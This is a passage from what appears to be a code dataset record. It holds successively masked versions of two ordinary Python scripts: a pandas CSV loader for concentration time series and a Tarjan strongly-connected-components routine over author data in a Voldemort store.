time_units.startswith('(min'):\n time_factor = msec_per_sec * 60\n else:\n time_factor = 1\n print('x column header: {}, time_units: {}, conversion factor: {}'\n .format(x_head, time_units, time_factor))\n else:\n time_factor = 1\n x = csv.index.values * time_factor\n self.waves = {col.split()[0]: trace(col, x, csv[col].values,\n stim_time) for col in csv.columns}\n\n\nclass CSV_conc_set(object):\n\n def __init__(self, rootname, stim_time=0, features=[]):\n self.stim_time = stim_time * msec_per_sec\n self.features = features\n if os.path.isdir(rootname):\n dirname = rootname\n filenames = glob.glob(rootname + '/*.csv')\n self.name = rootname\n else:\n if rootname.endswith('.csv'):\n filenames = [rootname]\n else:\n filenames = glob.glob(rootname + '*.csv')\n dirname = os.path.dirname(rootname)\n self.name = os.path.basename(rootname)\n print('CSV_conc_set:', self.name, 'dir', dirname, 'files',\n filenames, 'stim_start (ms)', self.stim_time)\n if len(filenames) == 0:\n print(\n '**************** CSV_conc_set: NO FILES FOUND **************************'\n )\n csv_list = [CSV_conc(fn, rootname, self.stim_time, features) for fn in\n filenames]\n csv_list.sort(key=operator.attrgetter('injection'))\n self.data = csv_list\n", "<import token>\n<assignment token>\n<class token>\n\n\nclass CSV_conc(object):\n \"\"\"Load a series of concentration measurements from a CSV file\n Each CSV file contains data for one or more molecules:\n Time time_units, mol_name1 (nM), [mol_name2]\n read time_units (sec,msec,min allowed) and convert to msec\n \"\"\"\n\n def __init__(self, fname, rootname, stim_time, features=[]):\n import pandas as pd\n model_num = xml.modelname_to_param(fname, rootname)\n self.name = os.path.basename(fname)[0:os.path.basename(fname).rfind\n ('.')]\n self.injection = model_num\n self.features = features\n csv = pd.read_csv(fname, index_col=0)\n x_head = csv.index.name.split()\n if len(x_head) > 1:\n time_units = x_head[-1]\n if time_units.startswith('sec') or time_units.startswith('(sec'):\n time_factor = msec_per_sec\n elif time_units.startswith('min') or time_units.startswith('(min'):\n time_factor = msec_per_sec * 60\n else:\n time_factor = 1\n print('x column header: {}, time_units: {}, conversion factor: {}'\n .format(x_head, time_units, time_factor))\n else:\n time_factor = 1\n x = csv.index.values * time_factor\n self.waves = {col.split()[0]: trace(col, x, csv[col].values,\n stim_time) for col in csv.columns}\n\n\nclass CSV_conc_set(object):\n\n def __init__(self, rootname, stim_time=0, features=[]):\n self.stim_time = stim_time * msec_per_sec\n self.features = features\n if os.path.isdir(rootname):\n dirname = rootname\n filenames = glob.glob(rootname + '/*.csv')\n self.name = rootname\n else:\n if rootname.endswith('.csv'):\n filenames = [rootname]\n else:\n filenames = glob.glob(rootname + '*.csv')\n dirname = os.path.dirname(rootname)\n self.name = os.path.basename(rootname)\n print('CSV_conc_set:', self.name, 'dir', dirname, 'files',\n filenames, 'stim_start (ms)', self.stim_time)\n if len(filenames) == 0:\n print(\n '**************** CSV_conc_set: NO FILES FOUND **************************'\n )\n csv_list = [CSV_conc(fn, rootname, self.stim_time, features) for fn in\n filenames]\n csv_list.sort(key=operator.attrgetter('injection'))\n self.data = csv_list\n", "<import token>\n<assignment token>\n<class token>\n\n\nclass CSV_conc(object):\n <docstring token>\n\n def __init__(self, fname, rootname, stim_time, features=[]):\n import pandas as pd\n model_num = xml.modelname_to_param(fname, rootname)\n self.name = os.path.basename(fname)[0:os.path.basename(fname).rfind\n ('.')]\n self.injection = model_num\n self.features = features\n csv = pd.read_csv(fname, index_col=0)\n x_head = csv.index.name.split()\n if len(x_head) > 1:\n time_units = x_head[-1]\n if time_units.startswith('sec') or time_units.startswith('(sec'):\n time_factor = msec_per_sec\n elif time_units.startswith('min') or time_units.startswith('(min'):\n time_factor = msec_per_sec * 60\n else:\n time_factor = 1\n print('x column header: {}, time_units: {}, conversion factor: {}'\n .format(x_head, time_units, time_factor))\n else:\n time_factor = 1\n x = csv.index.values * time_factor\n self.waves = {col.split()[0]: trace(col, x, csv[col].values,\n stim_time) for col in csv.columns}\n\n\nclass CSV_conc_set(object):\n\n def __init__(self, rootname, stim_time=0, features=[]):\n self.stim_time = stim_time * msec_per_sec\n self.features = features\n if os.path.isdir(rootname):\n dirname = rootname\n filenames = glob.glob(rootname + '/*.csv')\n self.name = rootname\n else:\n if rootname.endswith('.csv'):\n filenames = [rootname]\n else:\n filenames = glob.glob(rootname + '*.csv')\n dirname = os.path.dirname(rootname)\n self.name = os.path.basename(rootname)\n print('CSV_conc_set:', self.name, 'dir', dirname, 'files',\n filenames, 'stim_start (ms)', self.stim_time)\n if len(filenames) == 0:\n print(\n '**************** CSV_conc_set: NO FILES FOUND **************************'\n )\n csv_list = [CSV_conc(fn, rootname, self.stim_time, features) for fn in\n filenames]\n csv_list.sort(key=operator.attrgetter('injection'))\n self.data = csv_list\n", "<import token>\n<assignment token>\n<class token>\n\n\nclass CSV_conc(object):\n <docstring token>\n <function token>\n\n\nclass CSV_conc_set(object):\n\n def __init__(self, rootname, stim_time=0, features=[]):\n self.stim_time = stim_time * msec_per_sec\n self.features = features\n if os.path.isdir(rootname):\n dirname = rootname\n filenames = glob.glob(rootname + '/*.csv')\n self.name = rootname\n else:\n if rootname.endswith('.csv'):\n filenames = [rootname]\n else:\n filenames = glob.glob(rootname + '*.csv')\n dirname = os.path.dirname(rootname)\n self.name = os.path.basename(rootname)\n print('CSV_conc_set:', self.name, 'dir', dirname, 'files',\n filenames, 'stim_start (ms)', self.stim_time)\n if len(filenames) == 0:\n print(\n '**************** CSV_conc_set: NO FILES FOUND **************************'\n )\n csv_list = [CSV_conc(fn, rootname, self.stim_time, features) for fn in\n filenames]\n csv_list.sort(key=operator.attrgetter('injection'))\n self.data = csv_list\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n\n\nclass CSV_conc_set(object):\n\n def __init__(self, rootname, stim_time=0, features=[]):\n self.stim_time = stim_time * msec_per_sec\n self.features = features\n if os.path.isdir(rootname):\n dirname = rootname\n filenames = glob.glob(rootname + '/*.csv')\n self.name = rootname\n else:\n if rootname.endswith('.csv'):\n filenames = [rootname]\n else:\n filenames = glob.glob(rootname + '*.csv')\n dirname = os.path.dirname(rootname)\n self.name = os.path.basename(rootname)\n print('CSV_conc_set:', self.name, 'dir', dirname, 'files',\n filenames, 'stim_start (ms)', self.stim_time)\n if len(filenames) == 0:\n print(\n '**************** CSV_conc_set: NO FILES FOUND **************************'\n )\n csv_list = [CSV_conc(fn, rootname, self.stim_time, features) for fn in\n filenames]\n csv_list.sort(key=operator.attrgetter('injection'))\n self.data = csv_list\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n\n\nclass CSV_conc_set(object):\n <function token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n" ]
false
499
bb2c684fd5b962c97c033d4b4c2027d52b7371fd
import voldemort import time authorStore = voldemort.StoreClient('authorStore', [{'0', 6666}]) stack = [] components = [] index = 1 # Implementation of the Tarjan algorithm for the detection of strongly connected components. # Function collects all authors in the database and outputs them as strongly connected components. def tarjan(): timer = time.time start = timer() voldemortResult = authorStore.get("_authors") allAuthors = voldemortResult[0][0] nodes = {} for author in allAuthors.get("content"): nodeKey = str(author) nodeValue = [authorStore.get(nodeKey)[0][0], -1, -1, False] #node = Liste aus den Autorendaten, index(int), lowlink(int), onStack(boolean) nodes[nodeKey] = nodeValue for nodeKey in nodes: node = nodes.get(nodeKey) if node[1] == -1: strongconnect(node, nodes) end = timer() for scc in components: print("==> NEUE KOMPONENTE") for node in scc: print("Index: " + str(node[1]) + ", Lowlink: " + str(node[2]) + ", Name: " + node[0].get('name')) print("Insgesamt sind es " + str(len(components)) + " Komponenten") print("Laufzeit: " + str(end - start) + " Sekunden") # This method connects every node in the graph and builds, if applicable, a strongly connected component out of them. def strongconnect(node, allNodes): global index node[1] = index node[2] = index index += 1 stack.append(node) node[3] = True for kanteKey in node[0].get("friends"): kanteNode = allNodes.get(str(kanteKey)) if kanteNode[1] == -1: strongconnect(kanteNode, allNodes) node[2] = min(node[2], kanteNode[2]) elif kanteNode[3] == True: node[2] = min(node[2], kanteNode[1]) if node[1] == node[2]: scc = [] prevNode = None while prevNode != node: prevNode = stack.pop() prevNode[3] = False scc.append(prevNode) components.append(scc) tarjan()
[ "import voldemort\nimport time\n\nauthorStore = voldemort.StoreClient('authorStore', [{'0', 6666}])\nstack = []\ncomponents = []\nindex = 1\n\n# Implementation of the Tarjan algorithm for the detection of strongly connected components.\n# Function collects all authors in the database and outputs them as strongly connected components.\ndef tarjan():\n\ttimer = time.time\n\tstart = timer()\n\tvoldemortResult = authorStore.get(\"_authors\")\n\tallAuthors = voldemortResult[0][0]\n\tnodes = {}\n\tfor author in allAuthors.get(\"content\"):\n\t\tnodeKey = str(author)\n\t\tnodeValue = [authorStore.get(nodeKey)[0][0], -1, -1, False]\n\t\t#node = Liste aus den Autorendaten, index(int), lowlink(int), onStack(boolean)\n\t\tnodes[nodeKey] = nodeValue\n\tfor nodeKey in nodes:\n\t\tnode = nodes.get(nodeKey)\n\t\tif node[1] == -1:\n\t\t\tstrongconnect(node, nodes)\n\tend = timer()\n\tfor scc in components:\n\t\tprint(\"==> NEUE KOMPONENTE\")\n\t\tfor node in scc:\n\t\t\tprint(\"Index: \" + str(node[1]) + \", Lowlink: \" + str(node[2]) + \", Name: \" + node[0].get('name'))\n\tprint(\"Insgesamt sind es \" + str(len(components)) + \" Komponenten\")\n\tprint(\"Laufzeit: \" + str(end - start) + \" Sekunden\")\n\n# This method connects every node in the graph and builds, if applicable, a strongly connected component out of them.\ndef strongconnect(node, allNodes):\n\tglobal index\n\tnode[1] = index\n\tnode[2] = index\n\tindex += 1\n\tstack.append(node)\n\tnode[3] = True\n\tfor kanteKey in node[0].get(\"friends\"):\n\t\tkanteNode = allNodes.get(str(kanteKey))\n\t\tif kanteNode[1] == -1:\n\t\t\tstrongconnect(kanteNode, allNodes)\n\t\t\tnode[2] = min(node[2], kanteNode[2])\n\t\telif kanteNode[3] == True:\n\t\t\tnode[2] = min(node[2], kanteNode[1])\n\tif node[1] == node[2]:\n\t\tscc = []\n\t\tprevNode = None\n\t\twhile prevNode != node:\n\t\t\tprevNode = stack.pop()\n\t\t\tprevNode[3] = False\n\t\t\tscc.append(prevNode)\n\t\tcomponents.append(scc)\n\ntarjan()", "import voldemort\nimport time\nauthorStore = voldemort.StoreClient('authorStore', [{'0', 6666}])\nstack = []\ncomponents = []\nindex = 1\n\n\ndef tarjan():\n timer = time.time\n start = timer()\n voldemortResult = authorStore.get('_authors')\n allAuthors = voldemortResult[0][0]\n nodes = {}\n for author in allAuthors.get('content'):\n nodeKey = str(author)\n nodeValue = [authorStore.get(nodeKey)[0][0], -1, -1, False]\n nodes[nodeKey] = nodeValue\n for nodeKey in nodes:\n node = nodes.get(nodeKey)\n if node[1] == -1:\n strongconnect(node, nodes)\n end = timer()\n for scc in components:\n print('==> NEUE KOMPONENTE')\n for node in scc:\n print('Index: ' + str(node[1]) + ', Lowlink: ' + str(node[2]) +\n ', Name: ' + node[0].get('name'))\n print('Insgesamt sind es ' + str(len(components)) + ' Komponenten')\n print('Laufzeit: ' + str(end - start) + ' Sekunden')\n\n\ndef strongconnect(node, allNodes):\n global index\n node[1] = index\n node[2] = index\n index += 1\n stack.append(node)\n node[3] = True\n for kanteKey in node[0].get('friends'):\n kanteNode = allNodes.get(str(kanteKey))\n if kanteNode[1] == -1:\n strongconnect(kanteNode, allNodes)\n node[2] = min(node[2], kanteNode[2])\n elif kanteNode[3] == True:\n node[2] = min(node[2], kanteNode[1])\n if node[1] == node[2]:\n scc = []\n prevNode = None\n while prevNode != node:\n prevNode = stack.pop()\n prevNode[3] = False\n scc.append(prevNode)\n components.append(scc)\n\n\ntarjan()\n", "<import token>\nauthorStore = voldemort.StoreClient('authorStore', [{'0', 6666}])\nstack = []\ncomponents = []\nindex = 1\n\n\ndef tarjan():\n timer = time.time\n start = timer()\n voldemortResult = authorStore.get('_authors')\n allAuthors = voldemortResult[0][0]\n nodes = {}\n for author in allAuthors.get('content'):\n nodeKey = str(author)\n nodeValue = [authorStore.get(nodeKey)[0][0], -1, -1, False]\n nodes[nodeKey] = nodeValue\n for nodeKey in nodes:\n node = nodes.get(nodeKey)\n if node[1] == -1:\n strongconnect(node, nodes)\n end = timer()\n for scc in components:\n print('==> NEUE KOMPONENTE')\n for node in scc:\n print('Index: ' + str(node[1]) + ', Lowlink: ' + str(node[2]) +\n ', Name: ' + node[0].get('name'))\n print('Insgesamt sind es ' + str(len(components)) + ' Komponenten')\n print('Laufzeit: ' + str(end - start) + ' Sekunden')\n\n\ndef strongconnect(node, allNodes):\n global index\n node[1] = index\n node[2] = index\n index += 1\n stack.append(node)\n node[3] = True\n for kanteKey in node[0].get('friends'):\n kanteNode = allNodes.get(str(kanteKey))\n if kanteNode[1] == -1:\n strongconnect(kanteNode, allNodes)\n node[2] = min(node[2], kanteNode[2])\n elif kanteNode[3] == True:\n node[2] = min(node[2], kanteNode[1])\n if node[1] == node[2]:\n scc = []\n prevNode = None\n while prevNode != node:\n prevNode = stack.pop()\n prevNode[3] = False\n scc.append(prevNode)\n components.append(scc)\n\n\ntarjan()\n", "<import token>\n<assignment token>\n\n\ndef tarjan():\n timer = time.time\n start = timer()\n voldemortResult = authorStore.get('_authors')\n allAuthors = voldemortResult[0][0]\n nodes = {}\n for author in allAuthors.get('content'):\n nodeKey = str(author)\n nodeValue = [authorStore.get(nodeKey)[0][0], -1, -1, False]\n nodes[nodeKey] = nodeValue\n for nodeKey in nodes:\n node = nodes.get(nodeKey)\n if node[1] == -1:\n strongconnect(node, nodes)\n end = timer()\n for scc in components:\n print('==> NEUE KOMPONENTE')\n for node in scc:\n print('Index: ' + str(node[1]) + ', Lowlink: ' + str(node[2]) +\n ', Name: ' + node[0].get('name'))\n print('Insgesamt sind es ' + str(len(components)) + ' Komponenten')\n print('Laufzeit: ' + str(end - start) + ' Sekunden')\n\n\ndef strongconnect(node, allNodes):\n global index\n node[1] = index\n node[2] = index\n index += 1\n stack.append(node)\n node[3] = True\n for kanteKey in node[0].get('friends'):\n kanteNode = allNodes.get(str(kanteKey))\n if kanteNode[1] == -1:\n strongconnect(kanteNode, allNodes)\n node[2] = min(node[2], kanteNode[2])\n elif kanteNode[3] == True:\n node[2] = min(node[2], kanteNode[1])\n if node[1] == node[2]:\n scc = []\n prevNode = None\n while prevNode != node:\n prevNode = stack.pop()\n prevNode[3] = False\n scc.append(prevNode)\n components.append(scc)\n\n\ntarjan()\n", "<import token>\n<assignment token>\n\n\ndef tarjan():\n timer = time.time\n start = timer()\n voldemortResult = authorStore.get('_authors')\n allAuthors = voldemortResult[0][0]\n nodes = {}\n for author in allAuthors.get('content'):\n nodeKey = str(author)\n nodeValue = [authorStore.get(nodeKey)[0][0], -1, -1, False]\n nodes[nodeKey] = nodeValue\n for nodeKey in nodes:\n node = nodes.get(nodeKey)\n if node[1] == -1:\n strongconnect(node, nodes)\n end = timer()\n for scc in components:\n print('==> NEUE KOMPONENTE')\n for node in scc:\n print('Index: ' + str(node[1]) + ', Lowlink: ' + str(node[2]) +\n ', Name: ' + node[0].get('name'))\n print('Insgesamt sind es ' + str(len(components)) + ' Komponenten')\n print('Laufzeit: ' + str(end - start) + ' Sekunden')\n\n\ndef strongconnect(node, allNodes):\n global index\n node[1] = index\n node[2] = index\n index += 1\n stack.append(node)\n node[3] = True\n for kanteKey in node[0].get('friends'):\n kanteNode = allNodes.get(str(kanteKey))\n if kanteNode[1] == -1:\n strongconnect(kanteNode, allNodes)\n node[2] = min(node[2], kanteNode[2])\n elif kanteNode[3] == True:\n node[2] = min(node[2], kanteNode[1])\n if node[1] == node[2]:\n scc = []\n prevNode = None\n while prevNode != node:\n prevNode = stack.pop()\n prevNode[3] = False\n scc.append(prevNode)\n components.append(scc)\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\ndef tarjan():\n timer = time.time\n start = timer()\n voldemortResult = authorStore.get('_authors')\n allAuthors = voldemortResult[0][0]\n nodes = {}\n for author in allAuthors.get('content'):\n nodeKey = str(author)\n nodeValue = [authorStore.get(nodeKey)[0][0], -1, -1, False]\n nodes[nodeKey] = nodeValue\n for nodeKey in nodes:\n node = nodes.get(nodeKey)\n if node[1] == -1:\n strongconnect(node, nodes)\n end = timer()\n for scc in components:\n print('==> NEUE KOMPONENTE')\n for node in scc:\n print('Index: ' + str(node[1]) + ', Lowlink: ' + str(node[2]) +\n ', Name: ' + node[0].get('name'))\n print('Insgesamt sind es ' + str(len(components)) + ' Komponenten')\n print('Laufzeit: ' + str(end - start) + ' Sekunden')\n\n\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<code token>\n" ]
false